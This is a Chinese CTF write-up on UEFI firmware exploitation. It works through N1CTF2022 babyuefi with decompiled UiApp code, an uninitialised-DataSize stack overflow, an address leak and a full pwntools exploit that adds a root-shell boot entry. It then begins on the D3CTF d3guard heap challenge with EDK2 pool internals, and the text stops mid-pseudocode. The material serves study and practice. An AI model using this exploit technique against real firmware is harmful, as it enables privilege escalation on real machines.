写在最前面 上一篇文章UEFI SMM 漏洞挖掘与利用 简单的对 UEFI 的一些基础概念、漏洞出现方式以及攻击面进行了初步的学习,并且用了几道比较简单的题目进行练习。由于那些题目都是直接执行我们输入的 shellcode,和现实的情况有点脱节,而且对上一篇文章的部分攻击方式还带有一定的疑问,所以这里找了些题目来进行针对训练。
Double GetVariable 信息搜集 这里用的环境是 N1CTF2022 babyuefi。和我前面那篇UEFI SMM 漏洞挖掘与利用 不同,这里并没有直接给我们执行任意 shellcode 的机会,而是给了我们一个文件系统。我们可以看到 flag 就在这一个文件系统中,而我们并没有权限去读取该 flag 文件。
1 2 3 4 5 6 7 8 9 10 11 Boot took 1.64 seconds! / $ ls bin etc init proc sbin tmp dev flag linuxrc root sys usr / $ cat flag cat : can't open ' flag': Permission denied / $ whoami whoami: unknown uid 1000 / $ id uid=1000 gid=1000 groups=1000
当我们启动 run.py 的时候按 F12,这个时候我们就会进入到一个菜单界面:
不能猜到漏洞就在这一个菜单界面中,我们需要通过漏洞来将权限提升至 root 然后获取 flag。也就是说我们的目标就是通过对漏洞的利用来打开 Boot Manager,并加入自己的启动项使用 root 启动系统读出 flag。
具体固件的提取过程见我的上一篇文章UEFI SMM 漏洞挖掘与利用 ,通过字符串的搜索我们能很容易的定位到这个菜单界面是由固件 UiApp 实现的。我们将其拖进 ida 中会发现其非常难看,符号表全去掉了,而且有很多函数的参数并没有给识别出来,如下(下面这个函数已经恢复了部分符号):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 __int64 __fastcall Add (char *a1) { char *v2; char *v3; char *v4; char *v5; int v6; int v7; __int16 v8[16 ]; char v9[16 ]; char v10[256 ]; Output(v2); Input(v3, v6); Str2Unicode((unsigned __int8 *)v9, v8, 0x10 ui64); Output(v4); Input(v5, v7); return ((__int64 (__fastcall *)(__int16 *, void *, __int64, __int64, char *))gRT->SetVariable)( v8, &GUID, 7 i64, 256 i64, v10); }
可以看到 Output 和 Input 的函数参数并没有给正确的识别,然后我去看这个函数的汇编寻找原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 .text:0000000000001CA1 Add proc near ; CODE XREF: vuln+CB↓p .text:0000000000001CA1 .text:0000000000001CA1 var_140 = qword ptr -140h .text:0000000000001CA1 var_130 = word ptr -130h .text:0000000000001CA1 var_110 = byte ptr -110h .text:0000000000001CA1 var_100 = byte ptr -100h .text:0000000000001CA1 .text:0000000000001CA1 endbr64 .text:0000000000001CA5 push rbp .text:0000000000001CA6 mov rbp, rsp .text:0000000000001CA9 sub rsp, 160h .text:0000000000001CB0 lea rdi, aKeyName ; "Key name:" .text:0000000000001CB7 call Output .text:0000000000001CBC lea rax, [rbp+var_110] .text:0000000000001CC3 mov esi, 10h ; unsigned int .text:0000000000001CC8 mov rdi, rax ; void * .text:0000000000001CCB call Input .text:0000000000001CD0 lea rdx, [rbp+var_130] .text:0000000000001CD7 lea rax, [rbp+var_110] .text:0000000000001CDE mov r8d, 10h .text:0000000000001CE4 mov rcx, rax .text:0000000000001CE7 call Str2Unicode .text:0000000000001CEC lea rdi, aKeyValue ; "Key value:" .text:0000000000001CF3 call Output .text:0000000000001CF8 lea rax, [rbp+var_100] .text:0000000000001CFF mov esi, 100h ; unsigned int .text:0000000000001D04 mov rdi, rax ; void * .text:0000000000001D07 call Input .text:0000000000001D0C mov rax, cs:gRT .text:0000000000001D13 mov rsi, [rax+58h] .text:0000000000001D17 lea rax, [rbp+var_130] .text:0000000000001D1E lea rdx, [rbp+var_100] .text:0000000000001D25 mov [rsp+160h+var_140], rdx .text:0000000000001D2A mov r9d, 100h .text:0000000000001D30 mov r8d, 7 .text:0000000000001D36 lea rdx, GUID .text:0000000000001D3D mov rcx, rax .text:0000000000001D40 call rsi .text:0000000000001D42 leave .text:0000000000001D43 retn .text:0000000000001D43 Add endp
发现 Input 和 Output 的函数传参规则是和我们平时 linux 中的一样(rdi、rsi、rdx、r8、r9),而 gRT 上的函数则是 rcx、rdx、r8、r9 所以这里我们要在 ida 上手动恢复其传参规则,这里的修改方式读者请自行网上搜索,这里给出我修改 Output 函数的 demo
1 void __usercall Output (char *@<rdi>)
通过对 edk2 源码的阅读,我恢复了大部分的结构体结构,下面给出我恢复符号后的 ida 伪代码。
恢复了部分符号的IDA伪代码 Run 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 unsigned __int64 Run () { __int64 v1; __int64 v2; __int64 v3; __int64 v4; __int64 v5; __int64 v6; if ( !byte_352B0 ) { v6 = ((__int64 (__fastcall *)(size_t (*)(void ), void *, __int64 *))gBS->HandleProtocol)( SystemTable->ConsoleOutHandle, &unk_2F250, &v4); if ( v6 < 0 ) v4 = 0 i64; v6 = ((__int64 (__fastcall *)(size_t (*)(void ), void *, __int64 *))gBS->HandleProtocol)( SystemTable->ConsoleOutHandle, &unk_2F240, &v3); if ( v6 < 0 ) v3 = 0 i64; if ( v4 ) { dword_352B4 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(v4 + 24 ) + 8 i64) + 4 i64); dword_352B8 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(v4 + 24 ) + 8 i64) + 8 i64); } if ( v3 ) { v6 = (*(__int64 (__fastcall **)(__int64, _QWORD, __int64 *, __int64 *))(v3 + 24 ))( v3, *(int *)(*(_QWORD *)(v3 + 72 ) + 4 i64), &v2, &v1); dword_352BC = v2; dword_352C0 = v1; } dword_352CC = sub_42ED(35 i64); dword_352D0 = sub_42ED(36 i64); dword_352C4 = dword_2F420; dword_352C8 = dword_2F424; byte_352B0 = 1 ; } ((void (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD))gBS->SetWatchdogTimer)(0 i64, 0 i64, 0 i64, 0 i64); ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *))SystemTable->ConOut->ClearScreen)(SystemTable->ConOut); v5 = sub_268F(); if ( (unsigned __int8)sub_935C() && !v5 ) sub_92B3( (__int64)"/home/parallels/macOS/Desktop/edk2/edk2/MdeModulePkg/Application/UiApp/FrontPage.c" , 1155 i64, (__int64)"HiiHandle != ((void *) 0)" ); sub_25E0(); sub_11A4(); if ( vuln() ) { Output("No No No!\n" ); return 0x8000000000000003 ui64; } else { sub_23A4(0 ); sub_11A4(); sub_2645(); sub_C6B3(v5); return 0 i64; } }
vuln 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 unsigned __int64 vuln () { char *v0; __int64 v2; ((void (__fastcall *)(const __int16 *, void *, __int64, __int64, const char *))gRT->SetVariable)( L"N1CTF_KEY1" , &GUID, 7 i64, 8 i64, "BabyUefi" ); ((void (__fastcall *)(const char *, void *, __int64, __int64, const char *))gRT->SetVariable)( "N" , &GUID, 7 i64, 8 i64, "deadbeef" ); ((void (__fastcall *)(const __int16 *, void *, __int64, __int64, const char *))gRT->SetVariable)( L"N1CTF_KEY3" , &GUID, 7 i64, 8 i64, "mr.rtcl!" ); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v2 = inputNum(); if ( v2 != 1 ) break ; Add(v0); } if ( v2 != 2 ) break ; Delete(v0); } if ( v2 != 3 ) break ; Get(v0); } if ( v2 != 4 ) break ; Encode(v0); } return 0x8000000000000003 ui64; }
Add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall Add (char *a1) { __int16 VariableName[16 ]; char v3[16 ]; char Data[256 ]; Output("Key name:" ); Input(v3, 0x10 ui64); Str2Unicode((unsigned __int8 *)v3, VariableName, 0x10 ui64); Output("Key value:" ); Input(Data, 0x100 ui64); return ((__int64 (__fastcall *)(__int16 *, void *, __int64, __int64, char *))gRT->SetVariable)( VariableName, &GUID, 7 i64, 256 i64, Data); }
Delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall Delete (char *a1) { __int16 VariableName[16 ]; char v3[16 ]; Output("Key name:" ); Input(v3, 0x10 u); Str2Unicode((unsigned __int8 *)v3, VariableName, 0x10 ui64); return ((__int64 (__fastcall *)(__int16 *, void *, _QWORD, _QWORD, _QWORD))gRT->SetVariable)( VariableName, &GUID, 0 i64, 0 i64, 0 i64); }
Get 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void __fastcall Get (char *a1) { __int64 DataSize; char Attributes[4 ]; __int16 VariableName[16 ]; char v4[16 ]; char Data[256 ]; DataSize = 256 i64; Output("Key name:" ); Input(v4, 0x10 u); Str2Unicode((unsigned __int8 *)v4, VariableName, 0x10 ui64); ((void (__fastcall *)(__int16 *, void *, char *, __int64 *, char *))gRT->GetVariable)( VariableName, &GUID, Attributes, &DataSize, Data); Output("Value: " ); Output(Data); }
Encode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 __int64 __fastcall Encode (char *a1) { __int64 GetVariableName[2 ]; int v3; __int16 v4; __int64 DataSize; char Attributes[4 ]; __int16 SetVariableName[16 ]; char v8[16 ]; char Data_1[256 ]; __int64 Data_2; int v11; int i; DataSize = 256 i64; GetVariableName[0 ] = 'T\0C\01\0N' ; GetVariableName[1 ] = 'E\0K\0_\0F' ; v3 = 'Y' ; v4 = 0 ; Output("Key name:" ); Input(v8, 0x10 ui64); Str2Unicode((unsigned __int8 *)v8, SetVariableName, 0x10 ui64); ((void (__fastcall *)(__int16 *, void *, char *, __int64 *, char *))gRT->GetVariable)( SetVariableName, &GUID, Attributes, &DataSize, Data_1); DataSize = 8 i64; v11 = strlen (Data_1); for ( i = 0 ; i < v11; i += 8 ) { HIWORD(v3) = i / 8 % 3 + '1' ; ((void (__fastcall *)(__int64 *, void *, char *, __int64 *, __int64 *))gRT->GetVariable)( GetVariableName, &GUID, Attributes, &DataSize, &Data_2); *(_QWORD *)&Data_1[i] ^= Data_2; } return ((__int64 (__fastcall *)(__int16 *, void *, __int64, __int64, char *))gRT->SetVariable)( SetVariableName, &GUID, 7 i64, 256 i64, Data_1); }
IDA中添加的结构体 这里给出我在 IDA 中添加的结构体,其各个成员的数据类型并不正确,不过在 IDA 中静态分析中够用了,当遇到调用某个函数时如果想搞清楚直接就源码就行了。
RuntimeService 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct RuntimeService { char Hdr[24 ]; size_t (*GetTime)(void ); size_t (*SetTime)(void ); size_t (*GetWakeupTime)(void ); size_t (*SetWakeupTime)(void ); size_t (*SetVirtualAddressMap)(void ); size_t (*ConvertPointer)(void ); size_t (*GetVariable)(void ); size_t (*GetNextVariableName)(void ); size_t (*SetVariable)(void ); size_t (*GetNextHighMonotonicCount)(void ); size_t (*ResetSystem)(void ); size_t (*UpdateCapsule)(void ); size_t (*QueryCapsuleCapabilities)(void ); size_t (*QueryVariableInfo)(void ); };
BootServices 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 struct BootServices { char Hdr[24 ]; size_t (*RaiseTPL)(void ); size_t (*RestoreTPL)(void ); size_t (*AllocatePages)(void ); size_t (*FreePages)(void ); size_t (*GetMemoryMap)(void ); size_t (*AllocatePool)(void ); size_t (*FreePool)(void ); size_t (*CreateEvent)(void ); size_t (*SetTimer)(void ); size_t (*WaitForEvent)(void ); size_t (*SignalEvent)(void ); size_t (*CloseEvent)(void ); size_t (*CheckEvent)(void ); size_t (*InstallProtocolInterface)(void ); size_t (*ReinstallProtocolInterface)(void ); size_t (*UninstallProtocolInterface)(void ); size_t (*HandleProtocol)(void ); size_t (*Reserved)(void ); size_t (*RegisterProtocolNotify)(void ); size_t (*LocateHandle)(void ); size_t (*LocateDevicePath)(void ); size_t (*InstallConfigurationTable)(void ); size_t (*LoadImage)(void ); size_t (*StartImage)(void ); size_t (*Exit)(void ); size_t (*UnloadImage)(void ); size_t (*ExitBootServices)(void ); size_t (*GetNextMonotonicCount)(void ); size_t (*Stall)(void ); size_t (*SetWatchdogTimer)(void ); size_t (*ConnectController)(void ); size_t (*DisconnectController)(void ); size_t (*OpenProtocol)(void ); size_t (*CloseProtocol)(void ); size_t (*OpenProtocolInformation)(void ); size_t (*ProtocolsPerHandle)(void ); size_t (*LocateHandleBuffer)(void ); size_t (*LocateProtocol)(void ); size_t (*InstallMultipleProtocolInterfaces)(void ); size_t (*UninstallMultipleProtocolInterfaces)(void ); size_t (*CalculateCrc32)(void ); size_t (*CopyMem)(void ); size_t (*SetMem)(void ); size_t (*CreateEventEx)(void ); };
EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL 1 2 3 4 5 6 7 8 9 10 11 12 13 struct EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL { size_t (*Reset)(void ); size_t (*OutputString)(void ); size_t (*TestString)(void ); size_t (*QueryMode)(void ); size_t (*SetMode)(void ); size_t (*SetAttribute)(void ); size_t (*ClearScreen)(void ); size_t (*SetCursorPosition)(void ); size_t (*EnableCursor)(void ); size_t *EFI_SIMPLE_TEXT_OUTPUT_MODE_Mode; };
EFI_SIMPLE_TEXT_INPUT_PROTOCOL 1 2 3 4 5 6 struct EFI_SIMPLE_TEXT_INPUT_PROTOCOL { size_t (*Reset)(void ); size_t (*ReadKeyStroke)(void ); size_t (*WaitForKey)(void ); };
SystemTable 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 struct SystemTable { char Hdr[24 ]; char FirmwareVendor[8 ]; unsigned int FirmwareRevision; size_t (*ConsoleInHandle)(void ); EFI_SIMPLE_TEXT_INPUT_PROTOCOL *ConIn; size_t (*ConsoleOutHandle)(void ); EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *ConOut; size_t (*StandardErrorHandle)(void ); size_t *StdErr; size_t (*RuntimeServices)(void ); BootServices *BootServices; size_t NumberOfTableEntries; size_t ConfigurationTable; };
漏洞分析与利用 这里先解释各个函数做了什么: 1、Add:利用 SetVariable 将用户自定义的 (key, value) 写入 NVRAM 中 2、Delete:利用 SetVariable 将 NVRAM 中指定的 key 的 value 清空 3、Get:用 GetVariable 获取 NVRAM 中指定 key 的 value 并打印 4、Encode:利用 GetVariable 获取 NVRAM 中指定 key 的 value 并存储在 Data_1 中,根据 Data_1 的长度用 GetVariable 将 NVRAM 中 N1CTF_KEY(1/2/3) 对应的 value 存储在 Data_2 中,并将 Data_1 和 Data_2 进行亦或,最后将最终的 Data_1 通过 SetVariable 存储回 NVRAM 中。
这里需要注意的是根据 Data_1 的长度用 GetVariable 将 NVRAM 中 N1CTF_KEY(1/2/3) 对应的 value 存储在 Data_2 中这一步,他是在一个 for 循环中进行的,而且在上一次循环结束后下一次循环开始时并没有对 DataSize 的值进行初始化。 我们知道在调用 GetVariable 时 DataSize 会被设置为 NVRAM 中读取的 value 的长度,如果我们能够设置 N1CTF_KEY1 的 value 长度很长,那么我们在用 GetVariable 获取 N1CTF_KEY2 的 value 时就会在 Data_2 上发生栈溢出,而 N1CTF_KEY 的 value 值我们可以通过 Add 函数进行设置。
接下来我们面临着两个问题: 1、如何获取 UiApp 固件的基址 2、栈溢出后我们要劫持到哪里
地址泄露 在 Add 的时候,如果我们的 value 长度刚好为 256,那么我们在 Get 的时候会带出后面的一些数据,原理应该和用户态的 puts 函数类似,通过 \x00 截断输出,value 的数组长度为 256,而且后面刚好跟着一个地址对象,所以把 \x00 填满后就能够将其带出来,通过分析这个地址和 UiApp 的基址偏移是固定的。 在 gdb 中获取 UiApp 方式和我们上一篇文章 DubheCTF 2024 ToySMM 中获取后门函数的地址方式是一样的,都是直接在 gdb 中搜索代码的 text 段的十六进制串。
执行流的劫持 这里我们交叉引用我们的 vuln 函数找到调用它的地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 if ( vuln() ){ Output("No No No!\n" ); return 0x8000000000000003 ui64; } else { sub_23A4(0 ); sub_11A4(); sub_2645(); sub_C6B3(v5); return 0 i64; }
而我们的 vuln 函数的返回值是 0x8000000000000003ui64,所以不难猜测 else 分支就是进入 Boot Manager,所以将返回地址劫持到该 else 分支即可进入到 Boot Manager 界面:
最后在 Boot Manager 中加入自己的启动项使用 root 启动系统即可。
exp 由于 Boot Manager 是可视化界面,在 pwntools 上非常难看,所以这里使用 socat 连接。
exp.sh 1 2 #!/bin/bash socat $(tty ),echo =0,escape=0x03 SYSTEM:'python3 ./exp.py' 2>&1
exp.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from pwn import *p = process(['python3' ,'run.py' ]) def lg (buf ): log.success(f'\033[33m{buf} :{eval (buf):#x} \033[0m' ) def menu (index ): p.recvuntil(b'>' ) p.sendline(str (index).encode()) def add (name,value ): menu(1 ) p.recvuntil(b'Key name:' ) p.sendline(name) p.recvuntil(b'value' ) p.sendline(value) def addSend (name,value ): menu(1 ) p.recvuntil(b'Key name:' ) p.sendline(name) p.recvuntil(b'value' ) p.send(value) def get (name ): menu(3 ) p.recvuntil(b'Key name:' ) p.sendline(name) def encode (name ): menu(4 ) p.recvuntil(b'Key name:' ) p.sendline(name) key_map = { b"up" : b"\x1b[A" , b"down" : b"\x1b[B" , b"left" : b"\x1b[D" , b"right" : b"\x1b[C" , b"esc" : b"\x1b^[" , b"enter" : b"\r" , b"tab" : b"\t" } def send_key (key,times = 1 ): for _ in range (times): p.send(key_map[key]) if key == b"enter" : p.recv() p.sendline(b"\x1b[24~" *10 ) addSend(b'leak' , b'a' *256 ) get(b'leak' ) p.recvuntil(b'a' *256 ) data = p.recvuntil(b'\n' , drop = True ) leak, i, j = 0 , 0 , 0 while i < len (data): if data[i] == ord (b"\\" ): n = int (data[i+2 :i+4 ], 16 ) i += 4 else : n = data[i] i += 1 leak += n * (0x100 **j) j += 1 uiapp_base = leak - 0x1e009c0 boot = uiapp_base + 0x235A lg("leak" ) lg("uiapp_base" ) lg("boot" ) payload = b'a' *0x18 + p32(boot) add(b"N1CTF_KEY1" , payload) add(b"N1CTF_KEY2" , payload) add(b"win" ,b'a' *0x11 ) encode(b'win' ) p.recvuntil(b"Standard PC" ) send_key(b"down" , 3 ) send_key(b"enter" ) send_key(b"enter" ) send_key(b"down" ) send_key(b"enter" ) send_key(b"enter" ) send_key(b"down" , 3 ) send_key(b"enter" ) p.send(b"\rrootshell\r" ) send_key(b"down" ) p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r" ) send_key(b"down" ) send_key(b"enter" ) send_key(b"up" ) send_key(b"enter" ) send_key(b"esc" ) send_key(b"enter" ) send_key(b"down" , 3 ) send_key(b"enter" ) p.interactive()
效果如下:
Heap OverFlow 这里用的环境是 D3CTF 2022 d3guard,这道题目当时是 0 解,而且涉及到很多比较冷门的知识点,笔者觉得这题出得非常的硬核,学到了非常多的东西Orz
信息收集 和上一道题目一样,运行 run.py 后获得的是一个低权限的 shell,需要我们提权后才能够获取 flag。在启动 qemu 的时候我们按 f12 就能够进入到出题人自己实现的交互界面。
不难想到漏洞就出现在这个地方,在 IDA 中进行字符串的搜索考研很快的定位到这部分的功能由 UiApp 组件实现。由于这道题涉及到 UEFI 的堆管理系统,所以下面就先简单的介绍一下 UEFI 的堆。
堆块的管理 如果想知道详细的过程请读者自行去看源码 ,这里我只简单的总结一下分配的堆块没有很大的情况,而且忽略了很多细节(比如堆块合并)。
在 UEFI 中存在一个 mPoolHead 数组用于存储 POOL 结构体,该数组的每一个索引对应着不同 EfiMemoryType 类型的 POOL,相关代码如下:
POOL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 typedef struct { INTN Signature; UINTN Used; EFI_MEMORY_TYPE MemoryType; LIST_ENTRY FreeList[MAX_POOL_LIST]; LIST_ENTRY Link; } POOL; POOL mPoolHead[EfiMaxMemoryType]; typedef struct _LIST_ENTRY LIST_ENTRY ;struct _LIST_ENTRY { LIST_ENTRY *ForwardLink; LIST_ENTRY *BackLink; };
EfiMemoryType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 typedef enum { EfiReservedMemoryType, EfiLoaderCode, EfiLoaderData, EfiBootServicesCode, EfiBootServicesData, EfiRuntimeServicesCode, EfiRuntimeServicesData, EfiConventionalMemory, EfiUnusableMemory, EfiACPIReclaimMemory, EfiACPIMemoryNVS, EfiMemoryMappedIO, EfiMemoryMappedIOPortSpace, EfiPalCode, EfiPersistentMemory, EfiUnacceptedMemoryType, EfiMaxMemoryType, MEMORY_TYPE_OEM_RESERVED_MIN = 0x70000000 , MEMORY_TYPE_OEM_RESERVED_MAX = 0x7FFFFFFF , MEMORY_TYPE_OS_RESERVED_MIN = 0x80000000 , MEMORY_TYPE_OS_RESERVED_MAX = 0xFFFFFFFF } EFI_MEMORY_TYPE;
在每个 POOL 结构体中有一个 FreeList 数组用于存储被释放的堆块双向链表,类似于 ptmalloc 中 unosrtedbin / smallbin / largebin,不过遵循后进先出。当某个 FreeList 为空时 ForwardLink 和 BackLink 指向该 FreeList 自身,FreeList 的初始化代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 VOID CoreInitializePool ( VOID ) { UINTN Type; UINTN Index; for (Type = 0 ; Type < EfiMaxMemoryType; Type++) { mPoolHead[Type].Signature = 0 ; mPoolHead[Type].Used = 0 ; mPoolHead[Type].MemoryType = (EFI_MEMORY_TYPE)Type; for (Index = 0 ; Index < MAX_POOL_LIST; Index++) { InitializeListHead (&mPoolHead[Type].FreeList[Index]); } } } LIST_ENTRY * EFIAPI InitializeListHead ( IN OUT LIST_ENTRY *ListHead ) { ASSERT (ListHead != NULL ); ListHead->ForwardLink = ListHead; ListHead->BackLink = ListHead; return ListHead; }
FreeList 的每个下标对应着不同的 size
1 2 3 4 5 6 7 STATIC CONST UINT16 mPoolSizeTable[] = { 128 , 256 , 384 , 640 , 1024 , 1664 , 2688 , 4352 , 7040 , 11392 , 18432 , 29824 };
总的来说堆管理器的结构如下:
申请出来的堆块会给加上堆块头 POOL_HEAD 和堆块尾 POOL_TAIL,而堆块被释放后堆块尾会给弃用,堆块头会给修改为 POOL_FREE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 typedef struct { UINT32 Signature; UINT32 Index; LIST_ENTRY Link; } POOL_FREE; typedef struct { UINT32 Signature; UINT32 Reserved; EFI_MEMORY_TYPE Type; UINTN Size; CHAR8 Data[1 ]; } POOL_HEAD; typedef struct { UINT32 Signature; UINT32 Reserved; UINTN Size; } POOL_TAIL;
每当我们用 gBS->AllocatePool(type, BufferSize, Buffer) 申请一个堆块时,会首先将 BufferSize 进行八字节对齐,然后加上堆块头和堆块尾的大小。然后根据 type 找到对应的 POOL,然后再根据更新后的 size 找到对应的 FreeList。如果该 FreeList 不为空就直接从上面获取堆块并设置 POOL_HEAD 和 POOL_TAIL。如果 FreeList 为空,则从堆空间开辟新的堆块。 调用 gBS->FreePool 的操作则与之相反,同样是先同过 type 和 size 找到对应的 POOL 的 FreeList,然后将 POOL_HEAD 修改为 POOL_FREE 并将其链入 FreeList 中,这中间还有很多的细节,虽然在这道题目中用不上,不过如果仔细研究的话也许我们就能够在十分苛刻的条件下构造很极致的堆风水来实现漏洞的利用(等我考完研后看看能不能出在 WMCTF 上😚😚😚)
我利用的题目的程序申请了 name 和 desc,name 为 0x10 个 a,desc 为 0x20 个 b,内存布局如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> x/30gx 0x2b552f00 0x2b552f00: 0x0000000130646870 0x0000000000000000 <---- name (using) 0x2b552f10: 0x0000000000000040 0x6161616161616161 0x2b552f20: 0x6161616161616161 0xafafafafafafaf00 0x2b552f30: 0xafafafaf6c617470 0x0000000000000040 0x2b552f40: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f50: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f60: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f70: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f80: 0x0000000030646870 0x0000000000000000 <---- desc (using) 0x2b552f90: 0x0000000000000060 0x6262626262626262 0x2b552fa0: 0x6262626262626262 0x6262626262626262 0x2b552fb0: 0x6262626262626262 0xafafafafafafaf00 0x2b552fc0: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552fd0: 0xafafafaf6c617470 0x0000000000000060
再将这个两个堆块释放后的内存空间如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> x/30gx 0x2b552f00 0x2b552f00: 0x0000000030726670 0x000000002b8c9e18 <---- name (freed) 0x2b552f10: 0x000000002b552f88 0xafafafafafafafaf 0x2b552f20: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f30: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f40: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f50: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f60: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f70: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552f80: 0x0000000030726670 0x000000002b552f08 <---- desc (freed) 0x2b552f90: 0x000000002b8c9e18 0xafafafafafafafaf 0x2b552fa0: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552fb0: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552fc0: 0xafafafafafafafaf 0xafafafafafafafaf 0x2b552fd0: 0xafafafafafafafaf 0xafafafafafafafaf
可以发现其内存空间与我们上面所分析的一致,此时该 FreeList 的结构大致如下:
恢复了部分符号的IDA伪代码 这里依然给出恢复了 UiApp 组件部分符号的 IDA 伪代码,仅供参考 :)
pwn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 __int64 pwn () { int choice; unsigned __int64 StrLength; unsigned __int64 v2; unsigned __int8 *v3; __int64 v4; __int64 v5; __int64 v6; unsigned __int64 v7; __int64 v8; char v10[116 ]; char AdministratorName[131 ]; char v12[65 ]; ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 9 i64); ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *))SystemTable->ConOut->ClearScreen)(SystemTable->ConOut); Output((unsigned __int8 *)L"** Loading D^3 BIOS GUARD ... **\n\n" ); OutputTitle(); ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 15 i64); do { while ( 1 ) { Output((unsigned __int8 *)L"\nPlease select your role.\n(1. Administrator 2. Visitor): " ); choice = inputNum(); if ( choice != 1 ) break ; Output("\n" ); Input(AdministratorName, (int )&byte_40[1 ]); if ( checkUser("A" , AdministratorName) ) { Output("\n" ); ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 4 i64); Output((unsigned __int8 *)AdministratorName); ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 15 i64); Output("]" ); } else { Output((unsigned __int8 *)L"Pass key: " ); InputKey(v12, 0x41 u, 0x2A u); sub_16C58(v10); StrLength = GetStrLength(v12); sub_16B21((__int64)v12, StrLength, v2, v3); sub_16A1A(v5, v4, v6, v7); if ( !checkKey(v8, 32 i64) ) { ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 2 i64); Output("S" ); ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 15 i64); return 0 i64; } ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 4 i64); Output((unsigned __int8 *)L"Sorry, You don't have permission!\n" ); ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 15 